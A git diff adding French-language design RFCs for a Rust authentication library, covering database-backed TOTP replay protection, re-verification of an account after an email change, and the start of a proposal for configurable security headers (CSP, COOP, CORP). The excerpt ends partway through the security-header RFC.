129 +Succès **ssi** `rows_affected == 1` :
130 +
131 +```sql
132 +UPDATE user_totp
133 +SET last_used_step = $step
134 +WHERE user_id = $id
135 + AND (last_used_step IS NULL OR last_used_step < $step)
136 +```
137 +
138 +Comparaison **stricte** `<` : le même pas est un rejeu. Un pas plus grand (fenêtre suivante) passe.
139 +
140 +Proposition SeaORM (pas de SQL applicatif) :
141 +
142 +```rust
143 +use chrono::Utc;
144 +use sea_orm::{
145 + ColumnTrait, Condition, EntityTrait, QueryFilter, sea_query::Expr,
146 +};
147 +use crate::models::user_totp;
148 +
149 +/// Consume `step` for `user_id`. Returns true iff this replica won the CAS.
150 +async fn claim_totp_step(
151 + db: &sea_orm::DatabaseConnection,
152 + user_id: uuid::Uuid,
153 + step: u64,
154 +) -> Result<bool, crate::error::AppError> {
155 + let step_i64 = i64::try_from(step).map_err(|_| {
156 + crate::error::AppError::Internal("TOTP step does not fit in i64".into())
157 + })?;
158 +
159 + let result = user_totp::Entity::update_many()
160 + .col_expr(user_totp::Column::LastUsedStep, Expr::value(step_i64))
161 + .col_expr(user_totp::Column::UpdatedAt, Expr::value(Utc::now()))
162 + .filter(user_totp::Column::UserId.eq(user_id))
163 + .filter(
164 + Condition::any()
165 + .add(user_totp::Column::LastUsedStep.is_null())
166 + .add(user_totp::Column::LastUsedStep.lt(step_i64)),
167 + )
168 + .exec(db)
169 + .await?;
170 +
171 + Ok(result.rows_affected == 1)
172 +}
173 +```
174 +
175 +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que la colonne n’existe pas.
176 +
177 +### Flux `verify_code` après Accept
178 +
179 +Ordre (évite de polluer le cache in-process si le CAS DB perd) :
180 +
181 +1. Charger `user_totp` `enabled=true` (inchangé) ; sinon `AppError::TotpNotEnabled`.
182 +2. `matching_totp_step(&secret, code)` → `None` ⇒ `Ok(false)` (aucun `UPDATE`).
183 +3. `claim_totp_step(db, user_id, step)` → `false` ⇒ `Ok(false)` (rejeu inter-réplicas ou même pas).
184 +4. Optionnel : `totp_replay_guard_accept` **après** le CAS gagné, comme court-circuit intra-processus pour les rejeux suivants sur **ce** réplica (évite un `UPDATE` no-op). Le CAS DB reste autoritatif.
185 +5. `Ok(true)`.
186 +
187 +`verify_and_enable` (~L208) appelle aujourd’hui `verify_totp_code` **sans** garde in-process. Après Accept : après match, `claim_totp_step` puis `enabled=true`. Le code de setup ne peut pas servir immédiatement de login sur un autre réplica.
188 +
189 +Signatures **inchangées** :
190 +
191 +```rust
192 +impl TotpService {
193 + pub async fn verify_code(
194 + db: &DatabaseConnection,
195 + user_id: Uuid,
196 + code: &str,
197 + ) -> Result<bool, AppError> { /* ... */ }
198 +
199 + pub async fn verify_and_enable(
200 + db: &DatabaseConnection,
201 + user_id: Uuid,
202 + code: &str,
203 + ) -> Result<Vec<String>, AppError> { /* ... */ }
204 +}
205 +```
206 +
207 +### Usage consommateur
208 +
209 +Aucun changement d’appel. Gitrust continue :
210 +
211 +```rust
212 +let accepted = rustwarden_core::services::totp_service::TotpService::verify_code(
213 + db, user_id, code,
214 +).await?;
215 +if !accepted {
216 + // invalid or replay — same branch, no oracle
217 +}
218 +```
219 +
220 +## Analyse de compatibilité
221 +
222 +Checklist :
223 +
224 +- [x] API existante non modifiée → **non-breaking compile** (signatures `verify_code` / `verify_and_enable` inchangées).
225 +- [ ] API existante étendue avec défaut → N/A (pas de nouveau `pub` requis).
226 +- [ ] API existante modifiée ou supprimée → non.
227 +- [x] Nouveau comportement par défaut → un code déjà consommé sur le réplica A est refusé sur B (voulu). Instance unique : déjà le cas via le garde 1.0.1.
228 +- [x] Changement de schéma DB → **oui** : `last_used_step BIGINT NULL`, migration up/down. Pas de rewrite de données. `NULL` = grandfathering du premier code.
229 +- [ ] Changement de format sérialisé → non (`user_totp` n’est pas un DTO JSON public).
230 +
231 +SemVer : mineure (schéma + comportement de durcissement, signatures stables). Processus §1 : un changement de défaut peut être breaking ; ici le 1.0.1 a déjà le même rejet en mono-instance. Documenter en `Security` dans le CHANGELOG.
232 +
233 +## Alternatives considérées
234 +
235 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
236 +
237 +### Alternative A (recommandée) : colonne `last_used_step` + CAS SeaORM
238 +
239 +**Pros** : correct dès 2 réplicas sans Redis. Step matché (pas `now/30`). Atomicité PostgreSQL. Réversible (`NULL` / `DROP COLUMN`). Réutilise `matching_totp_step` déjà testé. Pas d’oracle. Constitution : pas de SQL applicatif.
240 +
241 +**Cons** : un `UPDATE` de plus sur le hot path 2FA (déjà un `SELECT` + decrypt). Migration à jouer sur toutes les apps. Tests de concurrence plus lourds.
242 +
243 +### Alternative B : garde in-process uniquement (statut 1.0.1)
244 +
245 +**Pros** : zéro migration, déjà livré, TTL 90 s, tests unitaires verts (`matching_totp_step_*`, `totp_replay_guard_accept`).
246 +
247 +**Cons** : **insuffisant dès 2 réplicas** (M-7). Rolling restart vide le `OnceLock`. Sticky sessions ne sont pas une garantie de sécu. Gitrust devrait forker un store.
248 +
249 +### Alternative C (ne rien faire / persister rien)
250 +
251 +**Pros** : zéro coût, zéro risque de migration.
252 +
253 +**Cons** : rejeu inter-instances ouvert à vie ; dette consommateur ; contredit l’audit M-7 et le CHANGELOG qui pointe déjà cette RFC.
254 +
255 +## Testing plan
256 +
257 +Tests unitaires (étendre [`totp_service.rs` tests](../../crates/rustwarden-core/src/services/totp_service.rs) ~L623+) :
258 +
259 +- Happy path : `matching_totp_step` renvoie le pas **courant** ; après `claim_totp_step` une fois, `last_used_step == Some(step)`.
260 +- Erreur 1 — input invalide : code `"1"` / 5 digits → `matching_totp_step == None`, **aucun** `UPDATE` (assert DB inchangée).
261 +- Erreur 2 — contrainte violée (rejeu même pas) : second `claim_totp_step` / `verify_code` avec le même code → `Ok(false)`, `rows_affected == 0`, `last_used_step` inchangé.
262 +- Erreur 3 — fenêtre plus ancienne : accepter `t`, puis présenter le code de `t-1` → `matching_totp_step` peut encore matcher le secret, mais `last_used_step < t-1` est faux → `Ok(false)`.
263 +- Erreur 4 (timeout / panic path) : `i64::try_from` n’est pas exercé en pratique ; tester `claim_totp_step` si `update_many` renvoie `DbErr` → `AppError::Database`, pas `Ok(true)` fail-open.
264 +
265 +Tests d’intégration (service / DB) :
266 +
267 +- `verify_code` happy path sur DB de test : premier code `true`, rejeu `false`.
268 +- Deux tâches tokio concurrentes, même `(user_id, step)` : exactement une `true`.
269 +- Migration up : colonne nullable présente ; rows existantes `NULL` ; premier verify OK. Migration down : colonne absente, données `user_totp` restantes intactes (`secret_encrypted`, `enabled`).
270 +- `verify_and_enable` pose `last_used_step` ; un `verify_code` immédiat avec le même code → `false`.
271 +
272 +Tests de non-régression :
273 +
274 +- Code consommateur **compile** (signatures inchangées).
275 +- Backup codes : `verify_backup_code` ne lit/écrit pas `last_used_step`.
276 +- Garde in-process 1.0.1 : tests `totp_replay_guard_accept` restent verts (court-circuit optionnel).
277 +- Baseline Draft : `cargo test -p rustwarden-core totp_service --lib` (garde + `matching_totp_step`) — à relancer après impl.
278 +
279 +Doctests :
280 +
281 +- Pas de nouvel item `pub`. Enrichir la rustdoc de `TotpService::verify_code` (anglais) : replay → `Ok(false)`. Exemple `ignore` si DB requise ; un doctest exécutable n’est pas réaliste sans secret + horloge.
282 +
283 +Benchs : comparer latence `verify_code` avant/après (SELECT+decrypt vs +UPDATE). Régression > 10 % bloque le merge sans justification. Attendu : un UPDATE PK `user_id` ≪ bcrypt backup codes.
284 +
285 +Les exemples `claim_totp_step` ne sont **pas** exécutables avant l’implémentation.
286 +
287 +## Migration guide
288 +
289 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
290 +
291 +```markdown
292 +### API changes
293 +
294 +**Before (v1.0.1)** :
295 +`TotpService::verify_code` refusait le rejeu du même pas TOTP **dans le
296 +processus** (cache 90 s). Deux réplicas pouvaient accepter le même code.
297 +Pas de colonne `last_used_step`.
298 +
299 +**After (vX.Y.Z)** :
300 +Colonne `user_totp.last_used_step BIGINT NULL`. Après `matching_totp_step`
301 +(pas qui a matché, pas `now/30`), un `UPDATE` conditionnel SeaORM
302 +(`last_used_step IS NULL OR last_used_step < $step`) consomme le pas.
303 +Succès ssi `rows_affected == 1` ; sinon `Ok(false)` (même sémantique
304 +qu'un code invalide). `verify_and_enable` consomme aussi le pas.
305 +
306 +Aucune signature publique changée.
307 +
308 +### Migration steps
309 +
310 +1. Bump `rustwarden-core` à la version qui livre RFC 0037.
311 +2. Jouer les migrations (`cargo run --bin migrate` ou `auto_migrate`) :
312 + `m20260918_000010_totp_last_used_step`.
313 +3. Aucun rewrite de données. Les secrets TOTP existants restent valides.
314 +4. Redémarrer **tous** les réplicas après la migration (rolling OK : un
315 + réplica pré-colonne crashera au SELECT/UPDATE tant que le schéma n'est
316 + pas à jour — migrer avant le binaire).
317 +5. Gitrust : aucun workaround Redis à conserver pour ce rejeu.
318 +```
319 +
320 +## Open questions
321 +
322 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
323 +
324 +- [ ] **Garde in-process après CAS** : le conserver comme court-circuit (recommandé) ou le retirer une fois la colonne livrée (moins de chemins) ?
325 +- [ ] **`verify_and_enable`** : confirmer qu’il **doit** `claim_totp_step` (recommandé) pour bloquer le replay setup→login.
326 +- [ ] **SemVer** : minor Security vs major ? Signatures stables, schéma additif nullable.
327 +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`.
328 +
329 +## Tracking issue
330 +
331 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-7, le CHANGELOG 1.0.1 et Gitrust comme premier consommateur HA. Pas d’URL tant que le Draft n’est pas soumis.
332 +
333 +---
334 +
335 +## Score d'évaluation (rempli par les reviewers)
336 +
337 +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35.
338 +
339 +| Critère | Note (1-5) | Commentaire |
340 +|---|---|---|
341 +| Généralité | 5 | Tout consommateur 2FA multi-instance ; Gitrust n’a plus à forker un store. |
342 +| Stabilité API | 5 | Signatures inchangées ; colonne nullable ; `NULL` = premier code OK. |
343 +| Performance | 4 | Un `UPDATE` PK de plus sur le path 2FA ; pas de bcrypt. Bench à coller au merge. |
344 +| Sécurité | 5 | Ferme M-7 inter-réplicas ; pas d’oracle ; step matché (pas `now/30`) ; CAS. |
345 +| Complexité d'implémentation | 4 | Migration SeaORM + `update_many` + tests concurrence ; pas d’`unsafe`. |
346 +| Charge de maintenance | 4 | Une colonne, pas de Redis ; garde in-process optionnel à ne pas faire dériver. |
347 +| Documentation | 4 | RFC + CHANGELOG + rustdoc `verify_code` ; migration up/down. |
348 +| **Total** | **31/35** | (≥ 25 pour Accepted) |
A docs/rfcs/0038-email-change-revalidation.md
+263 -0
@@ -0,0 +1,263 @@
1 +# RFC 0038 — Revalidation e-mail à `UserService::update_profile`
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Draft
6 +- **Apps consommatrices concernées** : Gitrust ; `rustwarden-ui` (`PUT /settings/profile`, `PUT /admin/users/:id`) ; tout consommateur qui appelle `UserService::update_profile`
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 15)
9 +
10 +## Summary
11 +
12 +Quand `UserService::update_profile` écrit une **nouvelle** adresse e-mail, basculer `email_verified=false` / `email_verified_at=NULL`, enqueuer un mail de validation vers la **nouvelle** adresse et une alerte vers l’**ancienne**, sans table `pending_*` (v1 YAGNI).
13 +
14 +## Motivation
15 +
16 +### Problème concret
17 +
18 +[`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) (~L157–217) accepte `email: Option<String>`, vérifie un format minimal (`@` + `.`) et l’unicité, puis :
19 +
20 +```rust
21 +updated_user.email = Set(new_email.clone());
22 +```
23 +
24 +`email_verified` et `email_verified_at` ne sont **pas** touchés. Un compte déjà vérifié qui passe à `attacker@evil.example` reste `email_verified=true`.
25 +
26 +Call sites actuels :
27 +
28 +| Call site | Comportement aujourd’hui |
29 +|---|---|
30 +| [`rustwarden-ui` `PUT /settings/profile`](../../crates/rustwarden-ui/src/handlers/settings/profile.rs) | `update_profile` puis, si e-mail changé : invalide les password-change pending ; enqueue `account_modified` vers **nouvelle et ancienne** adresses. **Pas** de `send_validation_email`. **Pas** de reset `email_verified`. |
31 +| [`admin_handler::update_user`](../../crates/rustwarden-ui/src/handlers/admin_handler.rs) (~L1286) | `update_profile(..., None, Some(new_email))` **sans** mail de validation ni alerte. |
32 +| Gitrust / apps headless | même trou dès qu’elles appellent le service. |
33 +
34 +Conséquence : prise de contrôle silencieuse de l’identité e-mail (reset password, notifications, recovery) tout en conservant le flag vérifié. Couplé à RFC 0040 (`validation_email_required` dans `authenticate_user`), garder `email_verified=true` après un changement **contourne** aussi le blocage login.
35 +
36 +### Qui est impacté
37 +
38 +- Tout utilisateur qui change d’e-mail via profil ou admin.
39 +- Les opérateurs : un user « verified » qui change d’adresse **perd l’accès** tant que `validation_email_required` est vrai (voulu — voir Breaking).
40 +- Gitrust n’a plus à patcher `update_profile` localement.
41 +
42 +### Si on ne fait rien
43 +
44 +Le flag vérifié suit l’ancienne preuve vers une nouvelle boîte. L’UI envoie déjà un `account_modified` (incomplet, et seulement sur le chemin profil, pas admin). Divergence consommateurs.
45 +
46 +### Urgence
47 +
48 +Pas un patch 1.0.1. Durcissement de politique d’identité (comportement par défaut de `update_profile`). Pas de nouvelle table en v1 → RFC tout de même : changement de comportement par défaut + impact login (processus §2).
49 +
50 +## Non-goals
51 +
52 +- **Pas de table `pending_email_changes` en v1** (YAGNI). L’e-mail en base **devient** la nouvelle adresse immédiatement. v2 est évaluée ci-dessous comme follow-up.
53 +- **Pas de charset e-mail** (hors RFC 0036 usernames).
54 +- **Pas de modification du hook** [`RustwardenHooks::on_email_verified`](../../crates/rustwarden-core/src/hooks.rs) (~L91) : il reste appelé uniquement après un token de validation consommé (`EmailValidationService`).
55 +- **Pas de changement du flow register** (`create_user` pose déjà `email_verified: false`).
56 +- **Pas de réécriture OAuth** (`OAuthService` pose `email_verified` selon le provider — hors scope).
57 +- **Pas de signature breaking** de `update_profile` (reste `db, user_id, username: Option<String>, email: Option<String>`).
58 +- **Pas d’échec dur** si SMTP n’est pas configuré : même contrat que `register` (`EmailConfig::from_env()` best-effort + `tracing::warn`).
59 +
60 +## API proposée
61 +
62 +### v1 (recommandée) — flags + deux enqueues, pas de table
63 +
64 +Signature **aujourd’hui**, à conserver :
65 +
66 +```rust
67 +// crates/rustwarden-core/src/services/user_service.rs
68 +impl UserService {
69 + pub async fn update_profile(
70 + db: &DatabaseConnection,
71 + user_id: Uuid,
72 + username: Option<String>,
73 + email: Option<String>,
74 + ) -> Result<user::Model, AppError> { /* ... */ }
75 +}
76 +```
77 +
78 +Comportement **après Accept**, branche `if let Some(new_email) = &email` (~L190–205), **après** les validations format/unicité, **avant** `update` :
79 +
80 +1. Si `new_email` (trim) **égal** à `user.email` : ne pas toucher `email_verified` / `email_verified_at` (no-op e-mail ; un rename username seul ne revalide pas).
81 +2. Si `new_email` **différent** :
82 + - `updated_user.email = Set(new_email.clone())` (inchangé).
83 + - `updated_user.email_verified = Set(false)`.
84 + - `updated_user.email_verified_at = Set(None)`.
85 + - Mémoriser `old_email = user.email.clone()` pour l’alerte.
86 +3. Persister (`updated_user.update(db)`).
87 +4. Enqueue validation vers la **nouvelle** adresse : `EmailValidationService::new(cfg).send_validation_email(db, user_id)` — lit `user.email` **déjà** mis à jour, invalide les anciens tokens (`invalidate_previous_tokens`), type de queue `"email_validation"`. Même helper que [`register`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L1488).
88 +5. Enqueue alerte vers l’**ancienne** adresse (`EmailQueueService::enqueue`, `to_email = old_email`, type `"email_changed"` ou réutiliser `"account_modified"` avec `AccountModifiedTemplate` champ `Email`). Message du type « votre adresse e-mail a été changée » ; **ne pas** y coller le lien de validation (ce lien va uniquement à la nouvelle boîte).
89 +6. `tracing::warn!` (user_id, old/new masqués) pour SIEM. Si un handler a des `RustwardenHooks`, il **peut** émettre `on_audit_event` (`kind: "user.email_changed"`) — `UserService` ne prend pas `hooks` (signature stable). `on_email_verified` inchangé.
90 +
91 +`EmailConfig::from_env()` : si `Err`, skip 4–5 + `tracing::warn` (comme register). L’update DB **réussit** quand même : l’utilisateur peut `POST /api/v1/auth/resend-verification`.
92 +
93 +Schéma `users` **inchangé** (`email_verified: bool`, `email_verified_at: Option<DateTime<Utc>>` déjà présents).
94 +
95 +### Usage consommateur
96 +
97 +```rust
98 +use rustwarden_core::error::AppError;
99 +use rustwarden_core::services::user_service::UserService;
100 +use sea_orm::DatabaseConnection;
101 +use uuid::Uuid;
102 +
103 +async fn change_email(
104 + db: &DatabaseConnection,
105 + user_id: Uuid,
106 + new_email: String,
107 +) -> Result<(), AppError> {
108 + // Same signature. After this RFC, a previously verified user
109 + // becomes email_verified=false until they click the new link.
110 + let _user = UserService::update_profile(db, user_id, None, Some(new_email)).await?;
111 + Ok(())
112 +}
113 +```
114 +
115 +`rustwarden-ui` profil : retirer le double enqueue `account_modified` **pour le champ e-mail** (évite 4 mails). Conserver l’invalidation `PasswordChangeService::invalidate_on_email_change` (déjà là). Conserver `account_modified` pour un rename username seul. Admin : aucun extra — le service couvre le trou.
116 +
117 +### v2 (follow-up, hors implémentation de cette RFC)
118 +
119 +Table `pending_email_changes` (`user_id`, `new_email`, `token_hash`, `expires_at`) : l’e-mail **courant** reste vérifié jusqu’au clic sur un lien envoyé à la **nouvelle** boîte ; l’ancienne reçoit l’alerte. Plus sûr contre un attaquant session-volée qui change l’e-mail pour lock-out. Coût : migration, tokens, courses admin vs user, expiration, UI « pending ».
120 +
121 +**Décision Draft** : v1 score proposé **28/35** (≥ 25) → v2 **marquée follow-up**, pas dans le PR d’implémentation. Réévaluer si un incident de prise de contrôle de session + changement d’e-mail le justifie.
122 +
123 +## Analyse de compatibilité
124 +
125 +Checklist :
126 +
127 +- [x] API existante non modifiée → signatures `update_profile` **inchangées** (compile).
128 +- [ ] API existante étendue avec défaut → N/A.
129 +- [x] API existante modifiée ou supprimée → **breaking comportemental** : un user vérifié qui change d’e-mail n’est plus vérifié.
130 +- [x] Nouveau comportement par défaut → `email_verified=false` dès que l’adresse change. Feature-flag : non (sécurité). Les apps qui s’appuyaient sur « changer l’e-mail sans revalider » cassent **volontairement**.
131 +- [ ] Changement de schéma DB → **non** en v1.
132 +- [ ] Changement de format sérialisé → le JSON profil peut renvoyer `email_verified: false` après update (si le DTO l’expose).
133 +
134 +### Breaking (voulu)
135 +
136 +Si `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)` est vrai (défaut), l’utilisateur **perd le login** jusqu’au clic sur le lien (RFC 0040 une fois livrée ; aujourd’hui seulement le handler HTTP `login`). Session JWT **déjà émise** : hors scope (pas de révocation globale ici). Password reset ira à la nouvelle adresse non encore prouvée — acceptable en v1 ; v2 retarderait l’écriture.
137 +
138 +Admin qui change l’e-mail d’un user : même un-verify. L’admin doit prévenir l’utilisateur (alerte ancienne boîte + validation nouvelle).
139 +
140 +## Alternatives considérées
141 +
142 +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif.
143 +
144 +### Alternative A (recommandée) : v1 YAGNI (un-verify + validation new + alerte old)
145 +
146 +**Pros** : ferme le bug sur **tous** les call sites (`update_profile` unique porte). Pas de migration. Réutilise `EmailValidationService::send_validation_email` et `EmailQueueService`. Aligné register. Score ≥ 25 → v2 plus tard.
147 +
148 +**Cons** : window où la nouvelle adresse est en base sans preuve (lock-out + reset vers une boîte non possédée si session volée). Breaking login. L’UI profil doit dédupliquer ses mails.
149 +
150 +### Alternative B : v2 `pending_email_changes` dès maintenant
151 +
152 +**Pros** : l’ancienne adresse reste vérifiée jusqu’à confirmation ; résiste mieux au vol de session ; pas de lock-out immédiat.
153 +
154 +**Cons** : migration + service + UI « pending » + courses admin ; YAGNI pour le bug actuel (flag qui ne bascule pas). Retarde la fermeture M. Score estimé : Généralité 4, Stabilité 3 (nouvelle table + API), Perf 4, Sécu 5, Complexité 2, Maintenance 3, Doc 4 → **25/35** pile, plus risqué à livrer en même temps que 0037/0040.
155 +
156 +### Alternative C (ne rien faire / garder le workaround UI)
157 +
158 +**Pros** : zéro coût upstream. L’UI profil notifie déjà old+new (`account_modified`) sans retirer le flag.
159 +
160 +**Cons** : `email_verified` reste vrai ; chemin **admin** et Gitrust non couverts ; reset password / login restent attachés à une preuve obsolète. Contredit l’audit.
161 +
162 +## Testing plan
163 +
164 +Tests unitaires / service (MockDatabase ou DB de test existante de `UserService`) :
165 +
166 +- Happy path : user `email_verified=true`, `update_profile(..., email: Some("new@example.com"))` → row `email=new@example.com`, `email_verified=false`, `email_verified_at=NULL` ; une entrée `email_queue` `email_validation` vers **new** ; une entrée alerte vers **old**.
167 +- Erreur 1 — input invalide : `"not-an-email"` (pas de `@` / `.`) → `AppError::Validation("Invalid email format")` ; flags inchangés ; **aucune** queue.
168 +- Erreur 2 — contrainte unicité : e-mail déjà pris par un autre user → `Validation("Email '…' already exists")` ; pas d’un-verify du caller.
169 +- Erreur 3 — SMTP absent : `EmailConfig::from_env()` fail → update **réussit**, flags un-verify, `tracing` warn, queue vide (pas de panic).
170 +- No-op : `email: Some(old)` identique → `email_verified` reste `true` ; pas d’enqueue validation.
171 +- Username seul : `email: None` → e-mail/flags intacts.
172 +
173 +Tests d’intégration :
174 +
175 +- Consommer un token `EmailValidationService` après v1 → `email_verified=true`, `on_email_verified` appelé (handler `verify_email` inchangé).
176 +- Admin `update_user` : même un-verify (test service suffit si le handler délègue).
177 +- Non-régression : `create_user` toujours `email_verified=false`.
178 +
179 +Tests de non-régression :
180 +
181 +- Code consommateur **compile**.
182 +- `PasswordChangeService::invalidate_on_email_change` toujours appelé par l’UI profil (hors core).
183 +
184 +Doctests :
185 +
186 +- Rustdoc `update_profile` : exemple copie/collable « changing email clears verification ». Exécutable seulement avec DB → ` ```rust,ignore ` + un paragraphe rustdoc anglais. Si un test unitaire documente le contrat, le doctest ignore est acceptable (même pattern RFC 0036 pour les services I/O).
187 +
188 +Benchs : non (path profil, pas bcrypt/JWT). Deux `INSERT` queue, négligeables.
189 +
190 +Les snippets `change_email` ne s’exécutent pas tant que le comportement n’est pas livré.
191 +
192 +## Migration guide
193 +
194 +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge.
195 +
196 +```markdown
197 +### API changes
198 +
199 +**Before (v1.0.x)** :
200 +`UserService::update_profile` écrivait `users.email` et **conservait**
201 +`email_verified` / `email_verified_at`. Seul le handler UI profil envoyait
202 +`account_modified` (old+new), sans lien de validation.
203 +
204 +**After (vX.Y.Z)** :
205 +Si la nouvelle adresse (trim) diffère de l'ancienne :
206 +`email_verified=false`, `email_verified_at=NULL`, enqueue validation vers
207 +la **nouvelle** boîte (`EmailValidationService::send_validation_email`),
208 +alerte vers l'**ancienne**. `on_email_verified` inchangé.
209 +Signature `update_profile` inchangée. Pas de table `pending_email_changes`
210 +(follow-up v2).
211 +
212 +Breaking : un utilisateur vérifié qui change d'e-mail ne peut plus se
213 +connecter tant que `validation_email_required` / `validation_email_requise`
214 +est vrai (défaut `true`) et qu'il n'a pas cliqué le lien.
215 +
216 +```rust
217 +UserService::update_profile(db, user_id, None, Some(new_email)).await?;
218 +// user.email_verified == false until verify-email token is consumed
219 +```
220 +
221 +### Migration steps
222 +
223 +1. Bump `rustwarden-core` à la version qui livre RFC 0038.
224 +2. Aucune migration SQL.
225 +3. `rustwarden-ui` : ne plus enqueue `account_modified` pour le seul
226 + changement d'e-mail (le core s'en charge) ; garder
227 + `invalidate_on_email_change`.
228 +4. Gitrust / autres : supprimer tout patch local qui re-vérifiait à la
229 + main ; prévenir le support (lock-out attendu après changement d'e-mail).
230 +5. Vérifier SMTP / worker `email_queue` en prod avant le bump (sinon
231 + users unverified sans mail — `resend-verification` reste disponible).
232 +```
233 +
234 +## Open questions
235 +
236 +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus :
237 +
238 +- [ ] **Type de queue de l’alerte** : `"email_changed"` dédié vs `"account_modified"` existant (`AccountModifiedTemplate`) ?
239 +- [ ] **Trim / casse** : comparaison exacte (recommandé, aligné unicité PostgreSQL sensible à la casse) vs fold ASCII ?
240 +- [ ] **Admin un-verify** : confirmer le même contrat (recommandé) plutôt qu’un bypass `email_verified=true` réservé admin.
241 +- [ ] **v2** : confirmer follow-up (cette RFC, score v1 ≥ 25) plutôt que fusionner les deux.
242 +- [ ] **Tracking GitHub** : ouvrir l’issue avant `Under Review`.
243 +
244 +## Tracking issue
245 +
246 +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 15 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis.
247 +
248 +---
249 +
250 +## Score d'évaluation (rempli par les reviewers)
251 +
252 +Notes **proposées par l’auteur** (Draft) pour **l’alternative A (v1)** ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. v2 hors merge si ce total tient.
253 +
254 +| Critère | Note (1-5) | Commentaire |
255 +|---|---|---|
256 +| Généralité | 5 | Tous les call sites `update_profile` (UI, admin, Gitrust, headless). |
257 +| Stabilité API | 3 | Signature identique mais breaking comportemental + lock-out login (voulu). |
258 +| Performance | 5 | Deux inserts queue hors hot path login ; pas de table extra. |
259 +| Sécurité | 5 | Coupe le flag vérifié d’une adresse non prouvée ; alerte l’ancienne boîte. |
260 +| Complexité d'implémentation | 4 | Branche ~20 lignes + enqueue best-effort ; pas de migration. |
261 +| Charge de maintenance | 4 | Réutilise validation/queue existants ; v2 évité pour l’instant. |
262 +| Documentation | 4 | RFC + CHANGELOG + rustdoc ; UI à dédupliquer. |
263 +| **Total** | **30/35** | (≥ 25 → v2 en follow-up, pas dans ce PR) |
A docs/rfcs/0039-security-headers-config.md
+365 -0
@@ -0,0 +1,365 @@
1 +# RFC 0039 — `SecurityHeadersConfig` (CSP / COOP / CORP additifs)
2 +
3 +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1)
4 +- **Date** : 2026-09-18
5 +- **Statut** : Draft
6 +- **Apps consommatrices concernées** : Gitrust (pourra retirer `SetResponseHeaderLayer::overriding`) ; `rustwarden-ui` / `rustwarden-app` ; tout consommateur de `RustwardenApp::builder()`
7 +- **Crate cible** : `rustwarden-core`
8 +- **Origine** : constats M-10 + F-UI du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 16). CSP Alpine : [`docs/plans/PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md).
9 +
10 +## Summary
11 +
12 +Ajouter une config **additive** `SecurityHeadersConfig` (CSP configurable, COOP/CORP opt-in) branchée sur `security_headers_middleware` par **capture `Arc` à la construction**, sans changer la CSP par défaut du patch 1.0.1 (`unsafe-inline` / `unsafe-eval` conservés). Phase 2 (après Accept **et** Alpine CSP) : défaut sans `'unsafe-eval'`.
13 +
14 +## Motivation
15 +
16 +### Problème concret (M-10)
17 +
18 +[`security_headers_middleware`](../../crates/rustwarden-core/src/app.rs) (~L853–895) pose des en-têtes **hardcodés**, dont :
19 +
20 +```text
21 +content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
22 +```
23 +
24 +`'unsafe-inline'` + `'unsafe-eval'` sur `script-src` annulent l’essentiel de la protection XSS (finding H2 / M-10). **Gitrust** overlay déjà une politique plus stricte via `tower_http::SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` *après* le middleware framework.
25 +
26 +Le middleware est monté **à l’extérieur** des `Extension(...)` :
27 +
28 +```699:717:crates/rustwarden-core/src/app.rs
29 + let app = router.with_state(db).layer(
30 + ServiceBuilder::new()
31 + .layer(cors_layer)
32 + .layer(axum::middleware::from_fn(security_headers_middleware))
33 + .layer_fn(move |service| AdminService::new(service, db_for_admin.clone()))
34 + // ...
35 + .layer(axum::Extension(i18n_service))
36 + .layer(axum::Extension(hooks))
37 + .layer(axum::Extension(auth_config))
38 + .layer(axum::Extension(db_for_ext))
39 + .into_inner(),
40 + );
41 +```
42 +
43 +Dans Tower/Axum, le **premier** `.layer()` de `ServiceBuilder` est le plus **externe** : il voit la requête **avant** que les `Extension` internes ne soient insérées. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` dans `security_headers_middleware` est **toujours `None`** sur le chemin aller. D’où : **pas `Extension`**.
44 +
45 +### Pourquoi ne pas durcir le défaut dans 1.0.1
46 +
47 +Retirer `'unsafe-eval'` casse l’admin UI : Alpine.js standard utilise `new Function()` pour `x-data` / `x-bind` ([`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1). Le patch 1.0.1 n’a **pas** changé la CSP. Cette RFC livre d’abord l’**API** pour que Gitrust (et d’autres) cessent d’overrider en couche externe ; le durcissement du **défaut** est la Phase 2, après migration `@alpinejs/csp`.
48 +
49 +Pas de COOP/CORP aujourd’hui. Gitrust / isolation `Cross-Origin-Opener-Policy: same-origin` doivent pouvoir s’activer **sans** fork du middleware.
50 +
